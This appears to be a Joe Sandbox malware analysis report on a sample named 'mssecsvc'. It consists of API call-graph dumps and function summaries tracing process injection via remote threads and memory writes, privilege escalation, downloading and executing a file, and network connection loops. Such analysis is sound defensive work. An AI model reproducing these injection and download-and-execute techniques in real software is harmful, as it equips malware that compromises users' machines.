CloseHandle 7170->7172 7173 7fea3ffa CreateEventA 7170->7173 7171->7158 7172->7173 7186 7fea4012 7173->7186 7174 7fea4056 lstrlen 7174->7174 7175 7fea4065 gethostbyname 7174->7175 7175->7186 7176 7fea4320 RtlExitUserThread 7177 7fea4081 socket 7178 7fea40a6 connect 7177->7178 7177->7186 7180 7fea42b7 closesocket 7178->7180 7178->7186 7179 7fea42d0 SetEvent 7179->7186 7180->7186 7181 7fea42f2 Sleep ResetEvent 7181->7186 7182 7fea40ef GetVersionExA 7182->7186 7183 7fea4172 wsprintfA 7183->7186 7184 7fea41a7 CreateThread CloseHandle 7184->7186 7185 7fea41f6 GetTickCount 7185->7186 7186->7174 7186->7175 7186->7176 7186->7177 7186->7179 7186->7180 7186->7181 7186->7182 7186->7183 7186->7184 7186->7185 7187 7fea4288 Sleep 7186->7187 7187->7186 7188 7fea4294 GetTickCount 7187->7188 7188->7186 6461 7fea663a 6464 7fea6647 6461->6464 6465 7fea6644 6464->6465 6466 7fea6652 6464->6466 6468 7fea6658 6466->6468 6471 7fea2574 6468->6471 6490 7fea252f NtOpenSection 6471->6490 6473 7fea257c 6474 7fea2582 NtMapViewOfSection CloseHandle 6473->6474 6475 7fea2661 6473->6475 6474->6475 6477 7fea25ba 6474->6477 6475->6465 6476 7fea25ef 6492 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6476->6492 6477->6476 6491 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6477->6491 6480 7fea2600 6493 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6480->6493 6482 7fea2611 6494 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6482->6494 6484 7fea2622 6485 7fea2637 6484->6485 6495 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6484->6495 6487 7fea264c 6485->6487 6496 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6485->6496 6487->6475 6497 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6487->6497 6490->6473 6491->6476 6492->6480 6493->6482 6494->6484 6495->6485 6496->6487 6497->6475 7614 7fea443b 7617 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 7614->7617 7616 7fea4441 7617->7616 6528 7fea02fe 6529 7fea0415 6528->6529 6531 7fea042d 6529->6531 6562 7fea10ce 6531->6562 6533 7fea048f 6534 7fea04dd 6533->6534 6535 7fea04b0 GetModuleHandleA 6533->6535 6536 7fea04f8 GetVersion 6534->6536 6535->6534 6537 7fea05ca 6536->6537 6538 7fea050f VirtualAlloc 6536->6538 6539 7fea05a9 CloseHandle 6537->6539 6540 7fea05d3 SetProcessAffinityMask 6537->6540 6538->6539 6544 7fea0532 6538->6544 6542 7fea05f2 GetModuleHandleA 6539->6542 6569 7fea05f2 GetModuleHandleA 6540->6569 6543 7fea10ce 2 API calls 6542->6543 6553 7fea05ec 6543->6553 6544->6539 6566 7fea05ba 6544->6566 6545 7fea06fc lstrcpyW 6588 7fea24ae lstrcpyW lstrlenW 6545->6588 6547 7fea074c NtMapViewOfSection 6547->6539 6547->6553 6548 7fea0717 GetPEB lstrcpyW lstrcatW 6550 7fea24ae 3 API calls 6548->6550 6550->6553 6551 7fea0780 NtOpenProcessToken 6552 7fea07c5 CreateToolhelp32Snapshot Process32First 6551->6552 6551->6553 6552->6553 6553->6539 6553->6545 6553->6547 6553->6548 6553->6551 6553->6552 6554 7fea2574 5 API calls 6553->6554 6556 7fea07eb Process32Next 6553->6556 6558 7fea085c CloseHandle 6553->6558 6559 7fea07fd OpenProcess 6553->6559 6560 7fea0834 CreateRemoteThread 6553->6560 6561 7fea05ba Sleep 6553->6561 6591 7fea07ac 6553->6591 6554->6553 6556->6553 6557 7fea0865 CloseHandle 6556->6557 6557->6539 6558->6556 6559->6553 6559->6556 6560->6553 6560->6558 6561->6558 6563 7fea10db 6562->6563 6563->6562 6564 7fea115c 6563->6564 6565 7fea1133 GetModuleHandleA GetProcAddress 6563->6565 6564->6533 6565->6563 6567 7fea05c9 6566->6567 6568 7fea05bf Sleep 6566->6568 6567->6539 6568->6566 6570 7fea10ce 2 API calls 6569->6570 6586 7fea060e 6570->6586 6571 7fea05a9 CloseHandle 6571->6569 6572 7fea06fc lstrcpyW 6573 7fea24ae 3 API calls 6572->6573 6573->6586 6574 7fea074c NtMapViewOfSection 6574->6571 6574->6586 6575 7fea0717 GetPEB lstrcpyW lstrcatW 6576 7fea24ae 3 API calls 6575->6576 6576->6586 6577 7fea0780 NtOpenProcessToken 6578 7fea07c5 CreateToolhelp32Snapshot Process32First 6577->6578 6577->6586 6578->6586 6579 7fea2574 5 API calls 6579->6586 6580 7fea07ac 30 API calls 6580->6586 6581 7fea07eb Process32Next 6582 7fea0865 CloseHandle 6581->6582 6581->6586 6582->6571 6583 7fea085c CloseHandle 6583->6581 6584 7fea07fd OpenProcess 6584->6581 6584->6586 6585 7fea0834 CreateRemoteThread 6585->6583 6585->6586 6586->6571 6586->6572 6586->6574 6586->6575 6586->6577 6586->6578 6586->6579 6586->6580 6586->6581 6586->6583 6586->6584 6586->6585 6587 7fea05ba Sleep 6586->6587 6587->6583 6589 7fea6b47 6588->6589 6590 7fea24ea NtCreateSection 6589->6590 6590->6553 6613 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6591->6613 6593 7fea07b2 FreeLibrary CloseHandle 6594 7fea07c5 CreateToolhelp32Snapshot Process32First 6593->6594 6605 7fea060e 6594->6605 6595 7fea2574 5 API calls 6595->6605 6596 7fea07eb Process32Next 6597 7fea0865 CloseHandle 6596->6597 6596->6605 6599 7fea05a9 CloseHandle 6597->6599 6598 7fea085c CloseHandle 6598->6596 6602 7fea05f2 GetModuleHandleA 6599->6602 6600 7fea07fd OpenProcess 6600->6596 6600->6605 6601 7fea0834 CreateRemoteThread 6601->6598 6601->6605 6603 7fea10ce 2 API calls 6602->6603 6603->6605 6604 7fea05ba Sleep 6604->6598 6605->6594 6605->6595 6605->6596 6605->6598 6605->6599 6605->6600 6605->6601 6605->6604 6606 7fea06fc lstrcpyW 6605->6606 6608 7fea074c NtMapViewOfSection 6605->6608 6609 7fea0717 GetPEB lstrcpyW lstrcatW 6605->6609 6611 7fea0780 NtOpenProcessToken 6605->6611 6612 7fea07ac 13 API calls 6605->6612 6607 7fea24ae 3 API calls 6606->6607 6607->6605 6608->6599 6608->6605 6610 7fea24ae 3 API calls 6609->6610 6610->6605 6611->6594 6611->6605 6612->6605 6613->6593 6614 c10fd6 6615 c110a0 6614->6615 6616 c1115c 6615->6616 6617 c11133 GetModuleHandleA GetProcAddress 6615->6617 6617->6615 6766 c13399 6768 c133a2 6766->6768 6769 c133a9 Sleep 6768->6769 6769->6769 7618 c13819 7620 c1381f WaitForSingleObject 7618->7620 7621 c13845 7620->7621 7622 c1383b closesocket 7620->7622 7622->7621 6618 c133e0 6619 c133e5 6618->6619 6620 c1346f MapViewOfFile CloseHandle 6619->6620 6621 c13440 NtOpenSection 6619->6621 6624 c134b0 6620->6624 6625 c135f3 6620->6625 6623 c1345f NtQuerySystemInformation 6621->6623 6621->6625 6622 c134b7 UnmapViewOfFile 6622->6625 6623->6620 6624->6622 6624->6625 7623 c16620 7626 c16647 7623->7626 7627 c16652 7626->7627 7628 c1662a 7626->7628 7630 c16658 7627->7630 7631 c12574 5 API calls 7630->7631 7632 c1666a 7631->7632 7632->7628 7189 c12762 7191 c12768 7189->7191 7192 c12780 GetTempPathA 7191->7192 7193 c12839 InternetCloseHandle 7191->7193 7201 c127a7 GetTempFileNameA CreateFileA 7192->7201 7195 c127a3 CreateFileA 7196 c12829 InternetCloseHandle 7195->7196 7197 c127ce InternetReadFile 7195->7197 7196->7193 7198 c127e8 7197->7198 7199 c127fe CloseHandle CreateProcessA 7197->7199 7198->7199 7200 c127ea WriteFile 7198->7200 7199->7196 7200->7197 7200->7199 7202 c12829 InternetCloseHandle 7201->7202 7203 c127ce InternetReadFile 7201->7203 7204 c12839 InternetCloseHandle 7202->7204 7205 c127e8 7203->7205 7206 c127fe CloseHandle CreateProcessA 7203->7206 7204->7195 7205->7206 7207 c127ea WriteFile 7205->7207 7206->7202 7207->7203 7207->7206 7633 c11422 LookupPrivilegeValueA NtAdjustPrivilegesToken 7208 c12665 7210 c1266b CreateThread CloseHandle 7208->7210 7211 c13c38 7210->7211 7213 c13c3d 7211->7213 7214 c13ca9 7213->7214 7217 c13c5b GetWindowsDirectoryA 7213->7217 7268 c1252f NtOpenSection 7214->7268 7216 c13cae 7219 c13cb5 7216->7219 7220 c13cfb GetSystemDirectoryA 7216->7220 7221 c13d26 7217->7221 7269 c13cc2 GetModuleHandleA 7219->7269 7313 c13d1f lstrcat 7220->7313 7355 c13d36 LoadLibraryA 7221->7355 7268->7216 7270 c13cde 7269->7270 7271 c13ccc 7269->7271 7396 c13cf0 GetModuleHandleA 7270->7396 7273 c13cd4 GetProcAddress 7271->7273 7273->7270 7314 c13d26 7313->7314 7315 c13d36 151 API calls 7314->7315 7316 c13d2b GetProcAddress LoadLibraryA 7315->7316 7318 c110ce 2 API calls 7316->7318 7319 c13d7d 7318->7319 7320 c13d92 GetTickCount 7319->7320 7321 c13daa 7320->7321 7322 c13e47 GetVolumeInformationA 7321->7322 7323 c13e7a 7322->7323 7324 c13f25 7323->7324 7325 c13eb5 96 API calls 7323->7325 7326 c13f31 CreateThread CloseHandle 7324->7326 7327 c13f4f 7324->7327 7328 c13ea9 7325->7328 7326->7327 7329 c13f60 43 API calls 7327->7329 7328->7324 7331 c13eca GetModuleFileNameA wsprintfA 7328->7331 7330 c13f54 7329->7330 7332 c110ce 2 API calls 7330->7332 7334 c13f14 7331->7334 7333 c13f7e 7332->7333 7335 c13f8f 23 API calls 7333->7335 7334->7324 7337 c13405 5 API calls 7334->7337 7336 c13f83 7335->7336 7338 c13fd3 CreateThread CloseHandle 7336->7338 7339 c13ffa CreateEventA 7336->7339 7337->7324 7338->7339 7352 c14012 7339->7352 7340 c14065 gethostbyname 7340->7352 7341 c14056 lstrlen 7341->7340 7341->7341 7342 c14081 socket 7344 c140a6 connect 7342->7344 7342->7352 7343 c14320 RtlExitUserThread 7346 c142b7 closesocket 7344->7346 7344->7352 7345 c142d0 SetEvent 7345->7352 7346->7352 7347 c142f2 Sleep ResetEvent 7347->7352 7348 c140ef GetVersionExA 7348->7352 7349 c14172 wsprintfA 7349->7352 7350 c141a7 CreateThread CloseHandle 7350->7352 7351 c141f6 GetTickCount 7351->7352 7352->7340 7352->7341 7352->7342 7352->7343 7352->7345 7352->7346 7352->7347 7352->7348 7352->7349 7352->7350 7352->7351 7353 c14288 Sleep 7352->7353 7353->7352 7354 c14294 GetTickCount 7353->7354 7354->7352 7553 c13d4b GetProcAddress LoadLibraryA 7355->7553 7439 c126d4 7396->7439 7399 c13d1f 179 API calls 7400 c13d12 GetProcAddress LoadLibraryA 7399->7400 7402 c110ce 2 API calls 7400->7402 7403 c13d7d 7402->7403 7404 c13d92 GetTickCount 7403->7404 7405 c13daa 7404->7405 7406 c13e47 GetVolumeInformationA 7405->7406 7407 c13e7a 7406->7407 7408 c13f25 7407->7408 7441 c13eb5 LoadLibraryA 7407->7441 7410 c13f31 CreateThread CloseHandle 7408->7410 7411 c13f4f 7408->7411 7410->7411 7473 c13f60 LoadLibraryA 7411->7473 7440 c126c8 GetSystemDirectoryA 7439->7440 7440->7399 7495 c13ecc GetProcAddress GetModuleFileNameA wsprintfA 7441->7495 7474 c13f7e 7473->7474 7475 c110ce 2 API calls 7473->7475 7476 c13f8f 23 API calls 7474->7476 7475->7474 7477 c13f83 7476->7477 7478 c13fd3 CreateThread CloseHandle 7477->7478 7479 c13ffa CreateEventA 7477->7479 7478->7479 7492 c14012 7479->7492 7480 c14065 gethostbyname 7480->7492 7481 c14056 lstrlen 7481->7480 7481->7481 7482 c14081 socket 7484 c140a6 connect 7482->7484 7482->7492 7483 c14320 RtlExitUserThread 7486 c142b7 closesocket 7484->7486 7484->7492 7485 c142d0 SetEvent 7485->7492 7486->7492 7487 c142f2 Sleep ResetEvent 7487->7492 7488 c140ef GetVersionExA 7488->7492 7489 c14172 wsprintfA 7489->7492 7490 c141a7 CreateThread CloseHandle 7490->7492 7491 c141f6 GetTickCount 7491->7492 7492->7480 7492->7481 7492->7482 7492->7483 7492->7485 7492->7486 7492->7487 7492->7488 7492->7489 7492->7490 7492->7491 7493 c14288 Sleep 7492->7493 7493->7492 7494 c14294 GetTickCount 7493->7494 7494->7492 7496 c13f14 7495->7496 7497 c13f25 7496->7497 7524 c13405 7496->7524 7499 c13f31 CreateThread CloseHandle 7497->7499 7500 c13f4f 7497->7500 7499->7500 7501 c13f60 43 API calls 7500->7501 7502 c13f54 7501->7502 7503 c110ce 2 API calls 7502->7503 7504 c13f7e 7503->7504 7532 c13f8f LoadLibraryA 7504->7532 7525 c1343b 7524->7525 7525->7525 7526 c13440 NtOpenSection 7525->7526 7527 c1345f NtQuerySystemInformation 7526->7527 7531 c135f3 7526->7531 7528 c1346f MapViewOfFile CloseHandle 7527->7528 7530 c134b0 7528->7530 7528->7531 7529 c134b7 UnmapViewOfFile 7529->7531 7530->7529 7530->7531 7531->7497 7533 c14320 RtlExitUserThread 7532->7533 7534 c13f9d 7532->7534 7535 c110ce 2 API calls 7534->7535 7536 c13fb5 7535->7536 7536->7533 7537 c13fc2 WSAStartup CreateThread CloseHandle 7536->7537 7538 c13ffa CreateEventA 7537->7538 7550 c14012 7538->7550 7539 c14065 gethostbyname 7539->7550 7540 c14056 lstrlen 7540->7539 7540->7540 7541 c14081 socket 7542 c140a6 connect 7541->7542 7541->7550 7544 c142b7 closesocket 7542->7544 7542->7550 7543 c142d0 SetEvent 7543->7550 7544->7550 7545 c142f2 Sleep ResetEvent 7545->7550 7546 c140ef GetVersionExA 7546->7550 7547 c14172 wsprintfA 7547->7550 7548 c141a7 CreateThread CloseHandle 7548->7550 7549 c141f6 GetTickCount 7549->7550 7550->7533 7550->7539 7550->7540 7550->7541 7550->7543 7550->7544 7550->7545 7550->7546 7550->7547 7550->7548 7550->7549 7551 c14288 Sleep 7550->7551 7551->7550 7552 c14294 GetTickCount 7551->7552 7552->7550 7554 c13d7d 7553->7554 7555 c110ce 2 API calls 7553->7555 7556 c13d92 GetTickCount 7554->7556 7555->7554 7557 c13daa 7556->7557 7558 c13e47 GetVolumeInformationA 7557->7558 7559 c13e7a 7558->7559 7560 c13f25 7559->7560 7561 c13eb5 96 API calls 7559->7561 7562 c13f31 CreateThread CloseHandle 7560->7562 7563 c13f4f 7560->7563 7564 c13ea9 7561->7564 7562->7563 7565 c13f60 43 API calls 7563->7565 7564->7560 7567 c13eca GetModuleFileNameA wsprintfA 7564->7567 7566 c13f54 7565->7566 7568 c110ce 2 API calls 7566->7568 7570 c13f14 7567->7570 7569 c13f7e 7568->7569 7571 c13f8f 23 API calls 7569->7571 7570->7560 7573 c13405 5 API calls 7570->7573 7572 c13f83 7571->7572 7574 c13fd3 CreateThread CloseHandle 7572->7574 7575 c13ffa CreateEventA 7572->7575 7573->7560 7574->7575 7588 c14012 7575->7588 7576 c14065 gethostbyname 7576->7588 7577 c14056 lstrlen 7577->7576 7577->7577 7578 c14081 socket 7580 c140a6 connect 7578->7580 7578->7588 7579 c14320 RtlExitUserThread 7582 c142b7 closesocket 7580->7582 7580->7588 7581 c142d0 SetEvent 7581->7588 7582->7588 7583 c142f2 Sleep ResetEvent 7583->7588 7584 c140ef GetVersionExA 7584->7588 7585 c14172 wsprintfA 7585->7588 7586 c141a7 CreateThread CloseHandle 7586->7588 7587 c141f6 GetTickCount 7587->7588 7588->7576 7588->7577 7588->7578 7588->7579 7588->7581 7588->7582 7588->7583 7588->7584 7588->7585 7588->7586 7588->7587 7589 c14288 Sleep 7588->7589 7589->7588 7590 c14294 GetTickCount 7589->7590 7590->7588 7644 c1662d 7645 c16647 5 API calls 7644->7645 7646 c16637 7645->7646 7591 c1116f LoadLibraryA 7596 c11196 GetProcAddress 7591->7596 7593 c11220 7594 c1145b NtAdjustPrivilegesToken 7595 c11180 7595->7593 7595->7594 7596->7595 7652 c1443b 7655 c1144a LookupPrivilegeValueA NtAdjustPrivilegesToken 7652->7655 7654 c14441 7655->7654 6785 7fea1196 GetProcAddress 6630 c102fe 6631 c10415 6630->6631 6633 c1042d 6631->6633 6662 c110ce 6633->6662 6635 c1048f 6636 c104dd 6635->6636 6637 c104b0 GetModuleHandleA 6635->6637 6638 c104f8 GetVersion 6636->6638 6637->6636 6639 c1050f VirtualAlloc 6638->6639 6654 c105ca 6638->6654 6640 c105a9 FindCloseChangeNotification 6639->6640 6643 c10532 6639->6643 6640->6654 6641 c105d3 SetProcessAffinityMask 6669 c105f2 GetModuleHandleA 6641->6669 6643->6640 6666 c105ba 6643->6666 6644 c106fc lstrcpyW 6691 c124ae lstrcpyW lstrlenW 6644->6691 6646 c10717 GetPEB lstrcpyW lstrcatW 6649 c124ae 3 API calls 6646->6649 6647 c1074c NtMapViewOfSection 6647->6640 6647->6654 6649->6654 6650 c10780 NtOpenProcessToken 6651 c107c5 CreateToolhelp32Snapshot Process32First 6650->6651 6650->6654 6652 c107eb Process32Next 6651->6652 6653 c10865 FindCloseChangeNotification 6652->6653 6652->6654 6653->6640 6654->6640 6654->6641 6654->6644 6654->6646 6654->6647 6654->6650 6654->6652 6656 c107fd OpenProcess 6654->6656 6658 c107b7 CreateToolhelp32Snapshot Process32First 6654->6658 6659 c1085c FindCloseChangeNotification 6654->6659 6660 c10834 CreateRemoteThread 6654->6660 6661 c105ba Sleep 6654->6661 6694 c107ac 6654->6694 6717 c12574 6654->6717 6656->6652 6656->6654 6658->6652 6659->6652 6660->6654 6660->6659 6661->6659 6664 c110db 6662->6664 6663 c1115c 6663->6635 6664->6662 6664->6663 6665 c11133 GetModuleHandleA GetProcAddress 6664->6665 6665->6664 6667 c105c9 6666->6667 6668 c105bf Sleep 6666->6668 6667->6640 6668->6666 6670 c110ce 2 API calls 6669->6670 6679 c105ca 6670->6679 6671 c105a9 FindCloseChangeNotification 6671->6679 6672 c105d3 SetProcessAffinityMask 6673 c105f2 30 API calls 6672->6673 6673->6679 6674 c106fc lstrcpyW 6675 c124ae 3 API calls 6674->6675 6675->6679 6676 c10717 GetPEB lstrcpyW lstrcatW 6678 c124ae 3 API calls 6676->6678 6677 c1074c NtMapViewOfSection 6677->6671 6677->6679 6678->6679 6679->6671 6679->6672 6679->6674 6679->6676 6679->6677 6680 c10780 NtOpenProcessToken 6679->6680 6682 c107eb Process32Next 6679->6682 6684 c107ac 30 API calls 6679->6684 6685 c107fd OpenProcess 6679->6685 6686 c12574 5 API calls 6679->6686 6687 c107b7 CreateToolhelp32Snapshot Process32First 6679->6687 6688 c1085c FindCloseChangeNotification 6679->6688 6689 c10834 CreateRemoteThread 6679->6689 6690 c105ba Sleep 6679->6690 6680->6679 6681 c107c5 CreateToolhelp32Snapshot Process32First 6680->6681 6681->6682 6682->6679 6683 c10865 FindCloseChangeNotification 6682->6683 6683->6671 6684->6679 6685->6679 6685->6682 6686->6679 6687->6682 6688->6682 6689->6679 6689->6688 6690->6688 6736 c16b47 6691->6736 6738 c1144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6694->6738 6696 c107b2 FreeLibrary FindCloseChangeNotification 6697 c107c5 CreateToolhelp32Snapshot Process32First 6696->6697 6698 c107eb Process32Next 6697->6698 6699 c10865 FindCloseChangeNotification 6698->6699 6700 c105ca 6698->6700 6701 c105a9 FindCloseChangeNotification 6699->6701 6700->6698 6700->6701 6702 c107fd OpenProcess 6700->6702 6703 c105d3 SetProcessAffinityMask 6700->6703 6704 c12574 5 API calls 6700->6704 6706 c1085c FindCloseChangeNotification 6700->6706 6707 c10834 CreateRemoteThread 6700->6707 6708 c105ba Sleep 6700->6708 6709 c106fc lstrcpyW 6700->6709 6711 c10717 GetPEB lstrcpyW lstrcatW 6700->6711 6712 c1074c NtMapViewOfSection 6700->6712 6714 c10780 NtOpenProcessToken 6700->6714 6715 c107ac 29 API calls 6700->6715 6716 c107b7 CreateToolhelp32Snapshot Process32First 6700->6716 6701->6700 6702->6698 6702->6700 6705 c105f2 29 API calls 6703->6705 6704->6700 6705->6700 6706->6698 6707->6700 6707->6706 6708->6706 6710 c124ae 3 API calls 6709->6710 6710->6700 6713 c124ae 3 API calls 6711->6713 6712->6700 6712->6701 6713->6700 6714->6697 6714->6700 6715->6700 6716->6698 6739 c1252f NtOpenSection 6717->6739 6719 c1257c 6720 c12661 6719->6720 6721 c12582 NtMapViewOfSection FindCloseChangeNotification 6719->6721 6720->6654 6721->6720 6723 c125ba 6721->6723 6722 c125ef 6741 c12477 NtProtectVirtualMemory NtWriteVirtualMemory 6722->6741 6723->6722 6740 c12477 NtProtectVirtualMemory NtWriteVirtualMemory 6723->6740 6726 c12600 6742 c12477 NtProtectVirtualMemory NtWriteVirtualMemory 6726->6742 6728 c12611 6743 c12477 NtProtectVirtualMemory NtWriteVirtualMemory 6728->6743 6730 c12622 6732 c12637 6730->6732 6744 c12477 NtProtectVirtualMemory NtWriteVirtualMemory 6730->6744 6733 c1264c 6732->6733 6745 c12477 NtProtectVirtualMemory NtWriteVirtualMemory 6732->6745 6733->6720 6746 c12477 NtProtectVirtualMemory NtWriteVirtualMemory 6733->6746 6737 c16b70 6736->6737 6738->6696 6739->6719 6740->6722 6741->6726 6742->6728 6743->6730 6744->6732 6745->6733 6746->6720

                      Executed Functions

                      Function 00C1042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 290memoryCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 0 c1042d-c104a4 call c110ce 3 c104a6-c104db call c1273c GetModuleHandleA 0->3 4 c104dd 0->4 6 c104e4-c10509 call c12750 GetVersion 3->6 4->6 10 c105ca-c105d1 6->10 11 c1050f-c10530 VirtualAlloc 6->11 13 c105a9-c105b3 FindCloseChangeNotification 10->13 14 c105d3-c105fc SetProcessAffinityMask call c105f2 10->14 12 c10532-c10562 call c10305 11->12 11->13 12->13 24 c10564-c1057b 12->24 13->10 19 c10621-c10623 14->19 20 c105fe-c1061c 14->20 22 c10625-c10630 19->22 23 c1064c-c10652 19->23 20->19 25 c10632 22->25 26 c10639-c10648 22->26 23->13 27 c10658-c10671 23->27 24->13 33 c1057d-c105a4 call c105ba 24->33 25->26 26->23 27->13 28 c10677-c10690 27->28 28->13 30 c10696-c1069c 28->30 31 c106d8-c106de 30->31 32 c1069e-c106b1 30->32 35 c106e0-c106f3 31->35 36 c106fc-c10715 lstrcpyW call c124ae 31->36 32->13 34 c106b7-c106bd 32->34 33->13 34->31 37 c106bf-c106d2 34->37 35->36 38 c106f5 35->38 42 c10717-c10746 GetPEB lstrcpyW lstrcatW call c124ae 36->42 43 c1074c-c10775 NtMapViewOfSection 36->43 37->13 37->31 38->36 42->13 42->43 43->13 47 c1077b-c1078f call c10305 NtOpenProcessToken 43->47 51 c10791-c107a3 call c1115d call c107ac 47->51 52 c107c5-c107e4 CreateToolhelp32Snapshot Process32First 47->52 62 c107a5 51->62 63 c1080e-c1080f 51->63 54 c107eb-c107f5 Process32Next 52->54 56 c10865-c10872 FindCloseChangeNotification 54->56 57 c107f7-c107fb 54->57 56->13 57->54 59 c107fd-c1080d OpenProcess 57->59 59->54 61 c1080f 59->61 64 c10810-c10818 call c12574 61->64 62->64 65 c107a7-c107e4 CreateToolhelp32Snapshot Process32First 62->65 63->64 69 c1081a-c10820 64->69 70 c1085c-c10863 FindCloseChangeNotification 64->70 65->54 69->70 71 c10822-c10832 69->71 70->54 71->70 72 c10834-c1084b CreateRemoteThread 71->72 72->70 73 c1084d-c10857 call c105ba 72->73 73->70
                      APIs
                      • GetModuleHandleA.KERNEL32(00000000), ref: 00C104BE
                      • GetVersion.KERNEL32 ref: 00C10500
                      • VirtualAlloc.KERNEL32(00000000,000077C4,08001000,00000040), ref: 00C10528
                      • FindCloseChangeNotification.KERNELBASE(?), ref: 00C105AD
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AllocChangeCloseFindHandleModuleNotificationVersionVirtual
                      • String ID: \BaseNamedObjects\rpntVt$\BaseNamedObjects\rpntVt$csrs
                      • API String ID: 2920002527-2034004386
                      • Opcode ID: aa96fd73d8dec9989349270692ee246bdacaa502919df6e6500da439e0ab16e9
                      • Instruction ID: c2b0ef4a4c8391a3be7234b11fbd99d499bc06f0770b7c7631e3598efcc7098a
                      • Opcode Fuzzy Hash: aa96fd73d8dec9989349270692ee246bdacaa502919df6e6500da439e0ab16e9
                      • Instruction Fuzzy Hash: EBB19A71505249FFEB219F24C84ABEA3BA9EF46311F200128F9099E1C1C7F09FD5AB59
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C105F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 75 c105f2-c10615 GetModuleHandleA call c110ce 78 c10617-c10630 75->78 79 c105a9-c105b3 FindCloseChangeNotification 75->79 80 c10632 78->80 81 c10639-c10648 78->81 82 c105ca-c105d1 79->82 80->81 83 c1064c-c10652 81->83 82->79 84 c105d3-c105fc SetProcessAffinityMask call c105f2 82->84 83->79 85 c10658-c10671 83->85 92 c10621-c10623 84->92 93 c105fe-c1061c 84->93 85->79 87 c10677-c10690 85->87 87->79 89 c10696-c1069c 87->89 90 c106d8-c106de 89->90 91 c1069e-c106b1 89->91 95 c106e0-c106f3 90->95 96 c106fc-c10715 lstrcpyW call c124ae 90->96 91->79 94 c106b7-c106bd 91->94 92->83 97 c10625-c10630 92->97 93->92 94->90 98 c106bf-c106d2 94->98 95->96 99 c106f5 95->99 102 c10717-c10746 GetPEB lstrcpyW lstrcatW call c124ae 96->102 103 c1074c-c10775 NtMapViewOfSection 96->103 97->80 97->81 98->79 98->90 99->96 102->79 102->103 103->79 105 c1077b-c1078f call c10305 NtOpenProcessToken 103->105 109 c10791-c107a3 call c1115d call c107ac 105->109 110 c107c5-c107e4 CreateToolhelp32Snapshot Process32First 105->110 120 c107a5 109->120 121 c1080e-c1080f 109->121 112 c107eb-c107f5 Process32Next 110->112 114 c10865-c10872 FindCloseChangeNotification 112->114 115 c107f7-c107fb 112->115 114->79 115->112 117 c107fd-c1080d OpenProcess 115->117 117->112 119 c1080f 117->119 122 c10810-c10818 call c12574 119->122 120->122 123 c107a7-c107e4 CreateToolhelp32Snapshot Process32First 120->123 121->122 127 c1081a-c10820 122->127 128 c1085c-c10863 FindCloseChangeNotification 122->128 123->112 127->128 129 c10822-c10832 127->129 128->112 129->128 130 c10834-c1084b CreateRemoteThread 129->130 130->128 131 c1084d-c10857 call c105ba 130->131 131->128
                      APIs
                      • FindCloseChangeNotification.KERNELBASE(?), ref: 00C105AD
                      • GetModuleHandleA.KERNEL32(00C105EC), ref: 00C105F2
                      • lstrcpyW.KERNEL32(\BaseNamedObjects\rpntVt,\BaseNamedObjects\rpntVt), ref: 00C1070A
                      • lstrcpyW.KERNEL32(\BaseNamedObjects\rpntVt,?), ref: 00C1072D
                      • lstrcatW.KERNEL32(\BaseNamedObjects\rpntVt,\rpntVt), ref: 00C1073B
                      • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,000077C4,00000000,?,00000002,00000000,00000040), ref: 00C1076B
                      • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 00C10786
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00C107C9
                      • Process32First.KERNEL32 ref: 00C107DC
                      • Process32Next.KERNEL32 ref: 00C107ED
                      • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C10805
                      • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003C38,00000002,00000000), ref: 00C10842
                      • FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C1085D
                      • FindCloseChangeNotification.KERNELBASE ref: 00C1086C
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: ChangeCloseFindNotification$CreateOpenProcessProcess32lstrcpy$FirstHandleModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                      • String ID: \BaseNamedObjects\rpntVt$\BaseNamedObjects\rpntVt$csrs
                      • API String ID: 3804105423-2034004386
                      • Opcode ID: 994f2290ff8f24202e30b552ea924370a00141407e53401c984739387f61b976
                      • Instruction ID: 3ea07f70e777f42eafc528b460af7a3583f09eb148132209f70d5aed7e5b0ea1
                      • Opcode Fuzzy Hash: 994f2290ff8f24202e30b552ea924370a00141407e53401c984739387f61b976
                      • Instruction Fuzzy Hash: 4A718A35504109FFEB219E10C84AAEE3BAEEF46311F240028F9199E1D1C7F59FD5AB99
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C1116F Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322libraryCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
